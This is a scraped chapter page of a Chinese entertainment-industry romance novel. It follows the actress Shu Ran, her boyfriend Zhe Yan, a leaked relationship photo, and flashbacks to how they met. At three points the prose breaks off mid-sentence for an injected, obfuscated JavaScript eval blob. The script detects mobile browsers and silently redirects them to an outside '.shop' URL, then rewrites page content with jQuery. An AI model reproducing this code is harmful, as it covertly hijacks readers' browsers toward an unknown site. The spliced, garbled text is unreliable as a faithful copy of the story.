《染火[娱乐圈]》
1. 雨城杂记
夜色渐浓,日落前的最后一抹金色逐渐被海蓝取代,凛冬难得的太阳天落下帷幕。
舒染试镜结束后没着急回去,到附近的甜品店破天荒买了个四寸大的奶油蛋糕。
镜头对女演员要求极其苛刻,往日里晚饭她都很少吃,更别说奶油这种高热量的食物。
今天破戒,是有好消息给他分享。
晚上七点半,舒染准时到家。
“怎么没开灯啊?”
她腾出空的那只手将灯按开,随后发现折琰站在阳台边罕见地点了烟,双手不断在屏幕上敲着字。
留给她的只有沉默。
嗅觉延迟,阳台的烟雾慢吞吞飘来,往舒染鼻子里钻。
她微微皱了皱眉,将蛋糕放在餐桌上,随后朝他的方向走。
“不是不抽烟的吗,怎么点上了。”
舒染知道他最近压力大,所以也只当这是自言自语,没再多问。
“哎我…”
“我…”
沉默片刻,她刚想将这好消息告诉他,却被他先一步开口。
两人的声音就这样撞在一起。
折琰捏掉手里的烟,将窗户打开,让冷风直直灌进来。
烟味被风卷散,不多时便无影无踪。
“你先说。”
他拍掉自己手中的浮尘,随后开口。
舒染前两天在剧组拍大戏,今天晚上才回来,此刻对上他那双熬得通红的眼,忽然间明白了什么,语气沉了半分。
“我…今天去试戏了,结果还不错…。”
虽然不算大IP,但对于舒染这种刚签约公司不久的新人演员来讲,足够了。
折琰听完,眼神微亮,却没说话,将手机递给她。
界面停滞在一条微博。
十万往上的点赞和评论,博文却只有一张图,连文字是默认的“分享图片”。
一张图,上面是前不久牵手逛街的舒染与折琰。
虽然遮得严严实实,但身体明显的标志出卖了她,脖子后面那颗痣过于明显,手上戴的腕表还是她前不久在微博发过的,而折琰手上戴着男款。
“这张图我昨天就刷到了,当时这条帖子的点赞量还没有这么多。”
折琰本以为她说完了,谁知短暂的停顿过后,舒染猝不及防地又补了后半句。
“昨天下午李名雨应该单独找过你吧…”
风将高兴的情绪连带着方才那阵烟味一起吹散,取而代之是心脏被压了块无形的石。
作为舒染老板,李名雨绝对不允许她在剧的热播期被拍到绯闻,所以找折琰放话是必然的。
“是。她找过我。”
折琰眸光一沉,眼神里透出些晦暗不明的情绪。
“她说什么了。”
舒染追问,不留他转圜的余地。
高层公寓的风比地面猛不少,开了窗户后,舒染发丝被吹得乱晃。
折琰将她递回的手机装进裤兜里收好,沉默片刻,选择说出事实。
“她说,我们都是签约演员,要为自己的未来负责…”
舒染越往后心越沉,鼻子一酸,眼泪不由自主地往下掉。
昨天是个雨天,折琰记得李名雨办公室的落地窗上起了层薄薄的水雾,模糊外面原本清晰的一切。
他到李名雨跟前时听见的第一句话,是舒染最近在播一部网剧,效益很好,如果播完集均播放量能稳定在两千万上下,对她这个小演员会是质的飞跃。
意思是说,要是没有这段“绯闻”,舒染原本的路会更顺,而现在剧还有十五集没播,正被剧中男女主迷得神魂颠倒的观众和粉丝转头看到那张图片,天塌了。
集均大打折扣,照这样下去,剧还没播完,舒染会先一步塌房。
剧方后期的招商也会难上加难,一个演员最大的价值就是商业价值,如果后续因为这件事导演和剧方的平台不愿意在用她,会形成怪圈,造成恶性循环。
和被封杀没有区别。
折琰以为李名雨说的事绯闻的事,于是很认真地解释:“绯闻我们可以澄清,而且我们短时间内不会公开,等到我和小染…”
话还没说完便被李名雨打断。
“你知道我当初签约舒染看重的是什么吗。”
折琰被这问题问得懵了圈,摇摇头。
“她的潜力?她的努力和热爱?”
他说不准,一次性给了几个答案。
李名雨无奈摇头:“不。因为她最老实,最听话,我原以为她会按照我给她铺的路走好一切,但现在看来,事实好像不是我想的那样。”
“我的公关团队已经解决好了一切,但后续舒染她如果接不到戏,那身上的商业价值也会大打折扣,我签她,送她去拍戏,是有所图的。”
“如果后续她没办法接到戏,我会考虑和她解约。”
李名雨的话犹如一道旱天雷,砸得折琰猝不及防。
“我……”
他想为她辩解,说她很有潜力,说她无数个日夜都做梦能够让自己的名字排在最前面,说她为了拍戏,被台本能背到凌晨三点。
可这些话说出来,定然会换来李名雨嗤笑。
既然她努力,既然她有梦,就应该爱惜自己的羽毛,而不是在剧的热播期闹出这样一通绯闻。
“她粉丝基数本来就不大,闹出这么一通会对她本人有很大影响,我希望你好好考虑一下,你也是演员,这其中的利弊关系我不用多讲。”
“要对自己的未来负责。”
李名雨扔下最后一句话,头也不回地离开,留下折琰一个人愣在原处。
气氛陡然安静下来,四周只剩下风声。
刚才的话显然是在敲打他,爱和事业在目前只能选其一。
^
舒染听完,深吸一口气,抬手抹着眼泪。
“其实她在找你之前就已经找过我了。”
“对我说过差不多的话…”
舒染声音很轻,却被站在身前的折琰听得一清二楚。
夜色越来越浓,窗帘被风刮起,涨得像个充满气的气球。
客厅里安静一瞬,折琰突兀的说话声打破不合时宜的宁静。
“还记得刚签约的时候,你公司里算命先生说的话吗。”
舒染情绪跌到谷底,抬眼淡淡地看他,点头说记得。
“姑娘你五行少水,艺名要带水路才能顺,就用个染字吧。”
算命先生说。
当时的舒染乖顺点头。
可临走前,算命先生像是料到什么,急匆匆补了一句。
“姑娘你五行少水,不要与命里带火的人有交集,否则走不顺啊。”
舒染依旧乖顺点头。
虽然自己早犯了忌。
思绪被折琰拉回来,沉默良久的他轻声开口:“我有时就在想,这句话是不是对的。”
“水火相克,你本该有更好的前程。”
话音刚落,舒染不由分说地吻了上去,不留他半分缓神的机会,直到自己嘴角沾到了他的血味。折琰想说的话都被这点血尽数堵住,只能原封不动咽回心里。
她当然知道这是什么意思。
他不想再耽误她,想分开,因为她本该有更好的路要走,而不是将青春都耗在他这儿。
“你知不知道我最讨厌的就是这种感觉。”
“如果你真想和我分开,那就做好这辈子都别来找我的准备。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481604|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舒染脑子被上涌的血液冲成乱麻,胡乱抓起沙发上的包出门。
“我们好好冷静冷静。”
话一说完,门被笃地拉开,随后极重的关门声让折琰意识到自己到底说了什么蠢话。
折琰刚想追出去,可这最后一句话将他堵在了门边。放在门把手上的手停滞一瞬,随后默默抽回。
她现在不想见自己。
给她一点时间。
楼道的风将她上涌的血液逐渐压回,她没急着走,不稳的手伸进包里拿手机,大冬天,手心竟被沁出一层汗来。
她给闺蜜梁听雾打了通电话。
电话铃响了三声,对面响起熟悉的声音。
“怎么啦念念,试镜还顺利吗?”
舒念声线颤抖,只悄声回了一句话:“婷婷,你现在方便吗,我想去你家。”
舒染毫无征兆地叫她小名,梁听雾在电话那头愣了一瞬,随后迅速应答:“好,我在家等你。”
晚上十点半,舒染横跨大半座城,开车到了梁听雾家。
“你怎么了这是,状态这么不好,试镜没成功吗?”
梁听雾一边给舒染递上拖鞋,一边问。
舒染没说话,憋了好半晌才堪堪开口:“婷婷你家里有酒吗。”
梁听雾知道舒染这是情绪上了头,便想一盆冷水将她浇醒,于是没好气地道:“你今天到底怎么了,舒染,我耐心有限。”
“下午还打电话给我说买了蛋糕,晚上就成了这幅鬼样,你是想你粉丝明天就收到你抑郁退圈的消息吗?”
粉丝是她的软肋。
梁听雾很清楚。
舒染眼眶泛红,泪水兜不住,直愣愣往下淌,随后一抽一抽将整件事讲给了梁听雾。
听完后梁听雾没说话,径直到酒柜里拿了瓶自己新买不久的威士忌,随后带上两个高脚杯放在舒染面前
“来,姐妹陪你喝。”
话说完,梁听雾一把打开酒瓶瓶塞,将两只高脚杯塞得满满当当。
“意思就是说,你们都不想分手,但现在这个绯闻不得不让你们暂时分开?”
梁听雾一口气喝了一半,脑子发懵地问。
舒染点头:“李名雨单独找过我俩,我蠢,没想到我一个小演员能掀起这么大风浪,我真挺对不起那些喜欢我的人…”
这部网剧给舒染带来了流量,但也让习惯了隐私生活上她忘了,女明星没有隐私。
任何事情都可能被暴露在媒体镜头前。
“要是能只在网上分手就好了。”
梁听雾那杯还没空,舒染杯子里的酒已经到了尽头。
舒染酒意上头,胡言乱语。
喝上头的梁听雾竟也跟着附和:“什么啊,你做得够好了,平时路透饭撒,杀青了又是奶茶又是零食,谈什么对不对得起。”
话说完,梁听雾又接下舒染后半句的话茬。
网上分手。
“我觉得可以啊,你们能试试。”
话刚说完,舒染手机弹出条消息。
折琰的。
【念念,我知道我说错了话让你很生气,所以你出门时我没有拦你,如果你去了你朋友家能回个电话吗,我明天收工来接你回家。】
消息末尾,是个看起来傻到不行的颜文字。
折琰不习惯用emoji,取而代之是各种搞怪的颜文字,以前舒染便笑过他,可他说这是他的习惯,是他们之间独一无二的信号。
舒染看完,手里的杯子却不知怎的落在了地上,映出窗前蓝调时刻独有的颜色。
被眼泪模糊的瞳孔里时间仿佛倒转,倒回了三年前那个两人初遇的季节。
倒回了舒染还是舒念的时候。
2. 雨城杂记
2014年。
冷雨过境,万物潮湿。
街边的交通灯绿了又红,舒念撑着伞在傍晚的雨幕下等车流过去。
耳机里放着今年最流行的韩文歌,思绪却像这胡乱拍下来的雨水一样杂乱,片刻后,她实在不耐烦,摘掉耳机后连线一把塞进包里。
“念念,你看你的合同也快到期了,还打算续约吗?”
又是这句话…
从下午到现在,一直在舒念的脑海里不停地滚动播放着,像是永远不会播完的黑白电影胶卷。
无色,也永远无法落幕。
时间倒拨回中午。
被雨水冲刷的窗户玻璃上起了层薄薄的雾,裹着羽绒服休息的舒念百无聊赖,望着玻璃出神。
温玉检查着下午要拍摄的样衣,蓄谋已久地发问。
她被这话问会神,刚想说再续两年合同,却见温玉的眼神里分明带着些不便表露的情绪。
接收到眼神的她目光肉眼可见地暗淡下来,却依旧三两下整理好情绪,想了个挑不出错的说辞。
“这…我暂时也给不了答案,让我好好想想吧温姐。”
舒念回了句模棱两可的话。
听见这话,温玉的表情肉眼可见地柔和下来,冲她点点头:“好,那你考虑好了给再告诉我,时间不着急,合同终止前都行。”
舒念尴尬笑笑,点头回应。
签了合约两年多以来,舒念一直算是本分老实的类型,每天来得最早,衣服也换得最勤,有时一天能拍两百套衣服,算得上是工作室的中流砥柱。
她到现在都不明白自己为什么会被突然换掉,只能无数次向自己抛出问题。
自己是不是真的很招人厌。
为什么每次被舍弃的总是自己。
夜幕下刺眼的绿灯掐断思绪,平息好情绪的舒念快速走过红绿灯,拐向回家的最后一个路口。
绕在心里的问题也无疾而终。
“哎哎你干什么的,这儿不让过了啊。”
人行道斜对面的小巷子口,带着黑色鸭舌帽的男人先一步出声,还未走到路口的舒念一愣,随即看向前面。
大摇臂,摄像机,各类补光板和成堆的设备与人都挤在这狭小的巷子里,看得舒念睁圆了眼。
“我…我回家啊?”
舒念满眼问号,对着面前拦她的人开口。
“这儿正拍戏呢,我们封路了,你走其他路吧。”
舒念有些无语:“我回家就两条路,另一条因为修下水道也被封了,我难不成能长双翅膀飞走…”
郭林山睨她一眼:“你要有那本事我也不拦你。”
原本心情就坏到极点的舒念脏话差点脱口而出,但还是耐着性子忍住了发火的冲动:“我就只是经过,不会给你们添麻烦的。”
话毕,郭林山却依旧没拿正眼看她:“过不了。这个场子就今晚用,你住宾馆吧,往那儿走三百米就是家不错的宾馆,”
“这里面的几户人家都是这样的,我们设备贵,耽误不起。”
他用手指了指不远处亮着灯的商业街区旁,敷衍道。
舒念只冷笑一声。
她在这儿住了快一年,还是头一回遇到这档子怪事。
是,他们设备贵,耽误不起,她的时间便宜…
雨势由缓变急,敲在她透明的雨伞上,随即便打着旋落在灯火暗淡处的水窝里。
在心里暗自骂了一通,舒念烦躁地捏了捏眉心,正打算找人继续理论,郭林山却转头拿起对讲机把她当了空气。
“来来来,各部门准备,雨越来越大了,争取速战速决。”
一贯讨厌被忽视的舒念奓了毛,将伞夹在颈窝,反手去摸装在包里的手机打算报警。
刚才没整理好的耳机线却在这时成了最大的阻碍,她双手伸进包里想将还未拔掉的耳机线处理好,雨伞却不听使唤,从锁骨处滑脱,往前一翻,伞骨朝外落在地上。
失了雨伞庇护,雨水开始打在头发上,她刚把乱成一团的耳机线处理好,就见不远处的雨伞凭空消失。
抬眼却对上双晶亮的眼,在葳蕤灯火里散着琥珀色的光。
“你的伞。”
折琰语气很硬,虽然已尽量柔和,却还是显得有些呆板。
琥珀色瞳孔里含满的情绪早就被舒念尽收眼底,她看着他的眼睛,回以温柔一笑。
随后礼貌地接过伞。
还未等她道谢,他便再度开口:“我能带你出去,避着那些设备走就行。”
“导演不让过是因为怕碰到设备或者把演员服装拍下来发网上,他这人就是这样,小气又谨慎。”
意识到自己说得太多,折琰收了声,等她回应。
“那麻烦你了,雨这么大,我确实很想早点回去。”
虽然她不知道在这拥挤,一旦进去就会被毫无悬念发现的地方,他要怎么带她出去。
“那就跟我走吧。”
他压低帽檐,转身带她朝另一个方向走。
舒念满眼疑惑,她回家就两条路,他把她带出来,难不成真想让她飞回去。
“你……”
你是不是带我走错路了。
她刚吐出一个你字,随后便发现眼前出现了条新的巷子。
“走这边能到那栋单元楼,你要是住后面那个小区的话,绕过这栋单元楼就好了。”
今天来找剧组理论的人很多,几乎都是住在那栋单元楼后面的小区里,导演没闲工夫管这事,他便主动接了这活,给人指路。
单元楼很奇怪,前后被围起来,留下两个门,小区不像小区,公寓不像公寓。
安保措施也不合格,前后门进出比较方便,只需要在安保室登记就好。
舒念眸光轻微一颤,随即点了点头。
来这里这么久,她还是第一次绕这样的路。
回家的路竟然不止两条。
折琰走后她并没着急离开,而是转过身静静地看着,看他消失在灯火里。
第一眼见到他时,冷白的皮肤便将她的视线完全吸引而去,纵使鸭舌帽的帽檐压得极低,挺括的骨相也能让人生三分艳羡。
让这样的长相在剧组跑龙套,实在是可惜了。
舒念心想。
回到家已经七点,懒得动弹的舒念叫了外送。
刚下好单,梁听雾便一个电话弹过来。
“怎么了,梁大小姐?”
舒念紧绷的神色在听见闺蜜久违的声音时肉眼可见地缓和下来,一边换上家居服,一边问。
“没什么,就是好久没和你打电话了,想问问你最近过得怎么样。”
电话罕见沉默半晌,对面的梁听雾摸不着头脑,对着听筒连喂了好几次。
此刻的舒念正在卧室里,对着起雾的玻璃落地窗发呆。
雨城这天气,真让人琢磨不透。
上午还出了太阳,中午便开始下雨。
“我?我很好,没什么大事,无聊归无聊,但还算顺利。”
在梁听雾连喂好几声后,她终于给了答案。
外面的雨越下越大,滂沱得像天漏了洞。
电话那头的梁听雾将信将疑:“你一不高兴就喜欢发呆,刚刚我计时了,留给我的空白足足两分钟。”
舒念长睫微动,装傻问她:“有吗,我怎么没觉得。”
梁听雾无语,在电话那头罕见沉默一瞬,随后开口:“是工作室要和你解约了吧,把你换掉了,给了个关系户。”
关系户?舒念皱眉,坐在床上盯着玻璃思索两秒。
这个行业什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481605|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么时候也开始兴关系户这一说了。
夜幕时刻的天色逐渐转为冷调,雨在这时逐渐变小,天却依旧冻着,冷得刺骨。
“我还以为是我能力不足…不过你从哪里听说的?”
两人的行业八竿子打不着,她很好奇梁听雾是怎么知道的。
梁听雾思索片刻,对着听筒出声:“哎呀,你们老板发微博你都不看的吗,我听说你在这家工作室上班的时候就关注了,上面什么都发。”
舒念有些迟疑,片刻后在手机应用商店翻来翻去,最后还是没忍住,下了微博。
梁听雾知道舒念在干什么,于是在电话那头耐心地等着。
等到手机里的app安装好,才继续有人讲话。
“怎么样,看到了吗。”
梁听雾问她。
回来半晌,房间里还未开灯,刺眼亮白的屏幕像是悬在心底一支无形的箭,只要她动,便会朝她心脏戳去。
服装工作室就以温玉的名字命名,微博很好找,舒念看那条最新的微博看了好久,看到眼眶泛酸。
【工作室的女模特合同快到期了,想继续续约,可我亲戚的孩子要来,到底该怎么办啊…】
——2014年2月16
上个星期的微博。
良久沉默,久到梁听雾都以为对面挂了电话。
过了半晌,梁听雾试探开口:“我明天正好要来雨城出差报个项目,你住哪儿?我来找你玩玩。”
用游客登录的舒念退出微博,深吸一口气:“就在芳雨路,连云府小区。这两天雨城气温很低,你要来的话记得多带些厚衣服。”
听见声音,对面松了一口气。
梁听雾很乐意听她唠叨,一边美滋滋听着,一边拉开行李箱收拾衣服。
她这好朋友要是还愿意唠叨两句,就证明心理没太大问题,要是不回消息不说话,什么都用“嗯”字代替,那她可能会连夜长翅膀飞到舒念身边。
两人从小学起就在一个班上学,是发小的交情,梁听雾自然对舒念很包容,也很理解。
毕竟学生时代对舒念来讲算是场醒不过来的噩梦,变成这样敏感的性格大部分都归功于她的中学时代。
^
次日下午,雨停了,天光若影若现躲在云层的裂缝里,天气依旧冷,但比昨天已经好了不少。
两人约在商业街附近的咖啡馆见面。
梁听雾一身卡其色呢料大衣,头戴同色系贝雷帽,内搭白色高领内衬,整个人看上去比平时在实验室里的样子温柔不少。
与她相比,舒念的穿着便要随意许多。
黑色羽绒服,头发挽成恰到好处的丸子头,梁听雾见到她这样子,忍不住感叹:“上天给了你这么完美的一张脸,你居然只拿它来搭配黑色羽绒服?!”
真是暴殄天物。
舒念淡然一笑:“平时在工作室里待久了,各种各样的衣服换了又换,难得轻松点,就随心所欲了。”
梁听雾点头:“这倒也是。”
人与人熟络到一定程度时,见面是没有话题的。点完单不久,两人便默契地各自看起手机。
只不过舒念是在给温玉发信息。
【温姐,我昨晚回去思考了很久,我心里面还有一直想去做的事,就不继续留在工作室了,感谢这两年来的照顾与提点。】
信息发完,舒念长舒一口气,看着外面发呆。
两人选的位置靠窗,是个绝佳的观景位,刚一抬头,她便瞧见了不远处那抹熟悉的身影。
“看见谁了你这是。”
话还没说完,梁听雾循着视线望去,看见了折琰。
“唉这谁啊,长得这么好看,你认识吗?”
舒念淡然一笑:“还记得读高中的时候,七班的折琰吗。”
3. 雨城杂记
“你记得他?我连我们班的人都不记得了,更别说隔壁班的。”
梁听雾抿了口咖啡,揉揉脑袋迟疑地道。
舒念怎么可能不记得。
那双总会默默注视她的琥珀色眼睛,无数次穿过了陌生的人群朝她涌来,在冷调光线里温和如平静的海水,朦胧了她的整个少女时代。
“记得,他甚至找过我几次,不过我当时胆子太小,没敢回应,他送的东西也没敢收,全部原封不动退回去了。”
舒念平静地说完,望着窗外枯萎的花木,没来由地自嘲一笑。
梁听雾默不作声,明白了她话里的意思。以舒念的人缘和心理,她更愿意相信这是真心话大冒险输了,而非是对方发自内心。
“现在不一样了,你要是也喜欢他,就大胆一点吧。现在没谁会躲在你后面说你坏话了。”
“都过去了。”
可舒念说不上喜不喜欢,只是折琰那双眼睛让她实在忘不掉,像会说话一样。
对上他的眼,她就像收到了时空裂缝处的一封来信,来自十七岁的他。
和她自己。
十六七岁的舒念也会透过这双眼睛,像如今的她等一个确定的答案。
答案是夹杂着动摇的否定。
“我也谈不上喜欢,只是说觉得他很好看,可能心里还没有谈恋爱的打算吧,毕竟我总觉得年龄还没到。”
梁听雾收声,不再说话。
两人交谈结束,四周音乐声在这一刻成了颇为神奇的眼罩,自然而然盖住折琰的目光。
他站在外面远远看了一眼,随后带着另一个人推门进咖啡厅,没急着点单,朝着舒念的地方去。
“我跟你说的就是她。”
折琰的声音淡淡的,向旁边的人介绍。
郭林山见到舒念便想臭骂折琰一顿,批评他怎么找的人,转眼却发现坐在旁边打扮时髦的梁听雾。
“您好,我是《听你的心跳》剧组的导演,现在这边女主角缺个文替,不知道您有没有兴趣。”
郭林山一边递上名片,一边问梁听雾。
梁听雾听完诧异挑眉,先看了眼舒念的神色后拒绝:“我平时在实验室上班,不太方便。”
得到拒绝,郭林山本想转身就走,却被折琰先一步挡在前面。
“你挡我做什么,让你找个人你怎么找的一天天,我就说你一个群演能发现什么人。”
郭林山没好气地冲他吼。
陷在皮质沙发里的舒念手里捏着咖啡杯,指尖泛起用力的白,心脏因为情绪低落疯狂跳动着,却强装出一副不在意的样子,扭头看着窗外。
舒念绝不会是那种暗地里责怪梁听雾的人,只是不喜欢郭林山这种习惯性忽视人的做派。
她最讨厌的就是被忽视。
从小到达,什么事情都轮不上她。
除了班级需要打扫卫生,除了新学期需要同学出力搬书。
“试试吧,让她拍几个镜头,如果表现力好,郭导也没必要因为昨晚的事让剧组损失继续扩增。”
折琰说话语气里听不出半点偏袒之意,可却明晃晃行了偏袒之实。
郭林山想了想剧组设备的租金,随后不得不妥协,转头问缩在角落里的舒念:“你还愿意吗。”
舒念抬眼,正巧对上赵林山的视线。
“愿意。”
她没犹豫,因为就在刚才,手机弹出了温玉的回复。
【好的念念,未来很长,世界很大,你也不该局限一隅,往后的路还很长,很感谢你的加入,祝你未来一切都好。】
舒念看着这两句空泛的体面话,没忍心将这层关系撕碎,关掉手机塞进包里,随后便听见郭林山训折琰。
再然后,就是问她愿不愿意。
唯一的工作已经丢了,她哪里还有选择。
得到肯定答复,郭林山的神色肉眼可见地缓和下来,发消息叫人登记舒念的信息准备办演员证。
和舒念分开前,梁听雾在对方耳朵边悄声说:“这是你的梦想,我们都知道,加油,过两天我忙完再找你。”
话音轻得羽毛,可这羽毛到舒染心脏处时,成了分量十足的磐石,让她狂跳的心逐渐平静,恢复如常。
“好,也祝你实验顺利。”
舒念淡淡一笑,露出浅浅的梨涡。
剧组今天搭的景就在咖啡店不远处,舒念被梁听雾约来时就看到了,只不过没在意。
“文替的工作很简单,也不需要你像武替一样进行高危险动作,只是需要你错位补拍镜头,节省时间。”
路上,郭林山跟舒念介绍。
他们这个AB组经常遇见这种情况,原本女主的替身这几天偏又不小心把脚摔了,所以才会着急找文替。
舒念点头:“好多的郭导,我明白。”
到了剧组,郭林山先让舒念象征性在镜头面前站了片刻。
他本以为舒念会和别的新人演员一样呆愣愣盯着摄影机,谁成想舒念与生俱来的镜头表现力让郭林山当即拍板将她留下。
“可以啊,在镜头面前生动自然,特别是眼睛,你这双眼睛生得好啊。”
郭林山的目光从监视器前移开,对着舒念露出难得的笑。
舒念浅淡一笑,有些不自然地回应他的夸赞。
“我看了档期,今天A组暂时用不到,主演没请假,你如果忙的话拍完证件照就先回去吧。”
郭林山还要忙别的事,决定让舒念留下来后没再关注她,发话让她先走。
有了正当理由,舒念想在剧组多待会儿,不愿意那么早回去。
她讨厌傍晚,讨厌黑压压的天气下自己一个人孤独地回家,叫外送,打开电视机看着重复了无数遍的老剧。
除了父母偶尔会打电话过来,直到第二天早上上班前都不会有人跟她说一句话。
舒念没什么朋友,和她关系最好的梁听雾也整天地泡在实验室里忙,电话带不进无菌实验室,她打过去会也只会听见嘟嘟的忙音。
她是很渴望社交的人,可每次想打开手机找人聊天,都找不到合适的对象,久而久之,她也习惯了一个人,习惯了微信里除了订阅号消息外很少有人找她。
“郭导,我没什么事,想留在剧组看他们拍戏可以吗。”
郭林山正捣鼓着新机器,听见这话疑惑偏头:“行吧,这儿不让拍照,今天也没人收你的手机,自己注意点。”
舒念点点头,随后挑了个不起眼的位置坐下,看着他们忙碌。
雨意逐渐酝酿,乌云遮去大半天光,多水的雨城不久便降下场淋漓的春雨。
有场需要雨的戏等到了完美时机。
舒念就这样在剧组看着主演拍戏,心头那个小小的种子也开始再度发芽。
千禧年后国家发展迅速,各类娱乐项目也层出不穷,再加上当时的摄影设备有了大提升,看电视剧成了大众的娱乐方式。
台偶剧的出台更是风靡青少年群体,不仅电视剧,就连附带的歌曲DVD也一度被卖到断货。
舒念也是随波逐流的一员,想当演员的梦在这时便破土而出,迅速长成了棵丰满茂密的树。
十六
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481606|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岁那年暑假,舒念拉着梁听雾去了横店影视城,也想体验当演员的成就感。
闷燥的横店连着下了好多天的雨,舒念毫无例外碰了一鼻子灰。
热忱被冷水浇尽,火焰簌然熄灭,心头那颗小树苗好像被横店夏天的雨浇得枯黄。
回家那天,舒念的心跟横店的云一样都是烟灰色,心里的雨仿佛下了一整个世纪。
从那天起,她没再做梦,收起了自己所有的想法,在学校过着平凡普通的日子,年复一年。
十七岁,差三分上本科线的舒念没再选择上学,机缘巧合下同温玉签了两年的合同,做起平面模特。
日子枯燥乏味,她也逐渐磨灭了最初的做演员的想法,打算到年龄结婚,生子,成为人潮里最不起眼的那一个。
这样的日子还没过几天,她就在这里再次与剧组结缘。
心头那棵枯黄的树死而复生。
“你没回家吗,外面这么冷”
折琰坐在另一边的石阶上,手里拎着瓶水,问她。
舒念的视线透过忙碌的人海与他交叠。
“不想这么早回去,就干脆在这儿打发时间了。”
她手里捏着手机,茫然地回。
舒念的手机大部分时间都处于安静状态,除了各种垃圾短信外几乎没人找她,她又不玩游戏,手机就成了可有可无的联系工具。
“我还以为你是想蹭剧组的免费盒饭。”
折琰一句话活络氛围。
没人跟她说话,于是当折琰递来话题时,舒念自然地接过话茬。
“我是不知道剧组有免费盒饭,要是有我也会不放过的。”
屋漏偏逢连夜雨,刚失业的舒念房租还剩一个月就要到期了,手上拿到的工资只够她交上下一年的房租。
至于吃饭,只能自想办法。
折琰笑了笑,没说话,撕开一颗蓝色的棒棒糖放进嘴里。
“那你要是想吃,可以等过了饭点再回去。”
“我交了房租也没钱吃饭,所以只能等着咯。”
听见这话,舒染很疑惑:“群演不挣钱吗?”
棒棒糖早就碎成了甜腻的糖水进了胃里,折琰听见提问,摇摇头。
“也不能算不挣钱,只要能接到戏,收入也能养活自己,但我们不一定能像签约演员那样档期那么满。”
“那不就是不挣钱吗。”
舒念心里反驳,却没说出来。
折琰刚想再和她聊些什么,就听见导演在喊。
“舒念还没走吧,舒念呢?”
“我在呢郭导。”
舒念三两步走到郭林山面前,郭林山像抓住了救命稻草一般松了口气。
“幸好你没走,快,A组那边要人了,你先去跟着她做妆造,然后到A组去。”
郭林山指了指站在他身后的化妆师,跟舒念说。
舒念点头,心里高兴,自己终于可以不用当被忽视的对象。
至少现在是这样。
可当她站在摄像机前时,那种被万众包裹的目光像是过境大风,侵蚀她每一寸肌肤。
她承认,面对这么多人,面对这么多双眼睛,她做不到像工作室那么自然。
舒念心脏狂跳。
她要拍的地方只是两三秒的背影和侧脸,是和男主角吵架后不小心打碎汽水的镜头。
导演组准备的道具是瓶波子汽水,舒念接过澄澈的粉色汽水,狂跳的心脏仿佛被几年前他递过来的那瓶汽水抚平。
三年前,也是这样一个雨天,也是这样一瓶粉色的波子汽水。
4. 雨城杂记
零零年代,饮料相较于前些年有了更多花样,国内品牌众多,但日韩流盛行的时段里,精巧的包装和未曾见过的稀奇文字成了学生们的首选。
舒念喜欢波子汽水,也仅仅是因为装汽水的科德瓶是除北冰洋这个品牌以外最好看的设计。
她是个浪漫主义,喜欢一切好看的事务,但要下手时总要斟酌再三,反复思考有没有用。
哪怕是瓶不起眼的汽水。
高二刚分班的那个雨天,环形教学楼遮去大半天光,早上到学校的舒念将潮湿的雨伞放在班外阳台上,刚进教室,就看见桌子上摆了瓶扎眼的汽水。
粉色的,瓶身贴着可爱的标签纸。
舒念眉头微蹙,见周围几个女生暗戳戳看着她,对上她的目光时又迅速躲开,让人琢磨不清是在讨论她还是单纯地看了她一眼。
她很讨厌这种不清不楚的眼神,每次鼓起勇气想问都被那句无形的话打回来。
“你太敏感了吧。我们又没说你。”
“自己心眼小想太多可不能怪我们啊。”
思索半天,舒念没说话,坐下后戳了戳旁边背书的梁听雾。
“这是谁给我的吗?是不是放错地方了?”
因为之前发生过这种情况,所以她问得很小心。
某天午睡睡醒,舒念桌子上多了杯不知道哪里来的冰水,她刚想问是谁送的,就见邻座的女生忽然间将水抽走。
“你刚刚在睡觉,我男朋友不方便递给我。”
刚睡醒的舒念脑子发懵,话堵在喉头怎么也说不出口,最后干脆作罢,翻开桌子上的练习册缓解尴尬,实际一个字都没能看进去。
笔尖悬停在纸面,内心像被打翻的酒,酸甜苦辣在一瞬间涌过她本就脆弱的心脏。
做题时她还能听到女生小声的一句自作多情。
脑中画面被切回,舒念偏头,看见与她隔了一条小过道的梁听雾茫然摇头:“不知道啊,我早上一来水就已经在这儿了。”
舒念满脸问号,偏头,却恰好对上折琰的目光。
疑问像团缠绕在一起的线,现在却被那双眼一点点解开,暴露出里面空荡的内心。
舒念立刻拿起汽水想要追出去还给他,到了教室门口却只看见了空荡的走廊。
手里的波子汽水成了烫手山芋。
外面雨声依旧,那个早自习,舒念注意力全在这瓶汽水上,背了什么早就忘到了九霄云外。
